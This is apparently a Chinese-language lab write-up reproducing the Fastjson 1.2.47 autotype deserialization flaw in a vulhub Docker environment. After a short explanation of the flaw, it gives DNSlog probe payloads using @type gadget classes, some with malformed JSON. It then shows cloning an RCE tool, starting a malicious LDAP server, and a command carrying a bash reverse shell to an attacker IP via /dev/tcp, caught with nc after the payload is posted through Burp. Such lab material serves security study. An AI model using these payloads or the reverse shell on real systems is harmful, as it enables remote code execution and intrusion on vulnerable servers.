fastjson漏洞
补充:该环境是vulhub漏洞中fastjson系列,具体搭建参考https://blog.csdn.net/qq_56426046/article/details/126805378
fastjson介绍
(51条消息) 关于fastjson 漏洞原理分析_fastjson漏洞原理_life1024的博客-CSDN博客
Fastjson 是一个Java 库,可以将Java 对象转换为 JSON 格式,当然它也可以将]SON 字符申转换为Java 对象Fastjson 可以操作任何Java 对象,即使是一些预先存在的没有源码的对象。
fastjson漏洞原理
Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑,则会造成些严重的安全问题
补充:AutoType的作用是使Fastjson在反序列化Java对象时更加灵活和方便,无需显式地指定类名。使用AutoType机制的好处是它可以允许你通过JSON来描述完整的Java对象,包括类名、属性名、属性类型和属性值。因此,在某些情况下,AutoType机制能够简化Java对象的反序列化流程。
fastjson漏洞复现(1.2.47)
到达这个目录
sudo docker-compose up -d启动
docker ps -s找到映射端口,然后ip:映射端口
下面是一个漏洞复现界面
(3)利用dnslog测试是否有漏洞
{“a”:{“@type”:“java.net.Inet6Address”,“vaL”:“dnslog”}}
{“a”:{“@type”;“java.net.InetSocketAddress”{“address”: ,“val”:“dnslog”}}]
{“a”:{“@type”:“com.alibaba.fastjson.JSONobject”,{“@type”: “java.net.URL”,“va1”:“dnslog”}}“”}}
{“a”:{“@type”:“java.net .URL”,“val”:“dnslog”}}
POST传参,改文件类型,发送,可以看到DNSlog有数据
解析了这个域名,说明这个漏洞存在(我们用了json反序列,对方成功解析,说明有解析漏洞)
利用fastjson_tool.jar在攻击机上开启ldap服务器
执行命令之后,生成可用的payload
搭建了一个服务器
对方通过我们调用的反序列化,对方通过我们构造好的反序列化,去调用rmi,ldap的接口去访问服务器,去调用我们的恶意代码
sudo git clone https://github.com/yearnming/fastjson_rce_tool
java -cp fastjson_tool.jar fastjson.HLDAPServer 10.139.10.152 8888 "bash=/bin/bash -i >& /dev/tcp/10.139.10.152/7777 0>&1"
同时nc监听端口
burpsuite抓包,将给的payload以POST传参传上去
就成功连到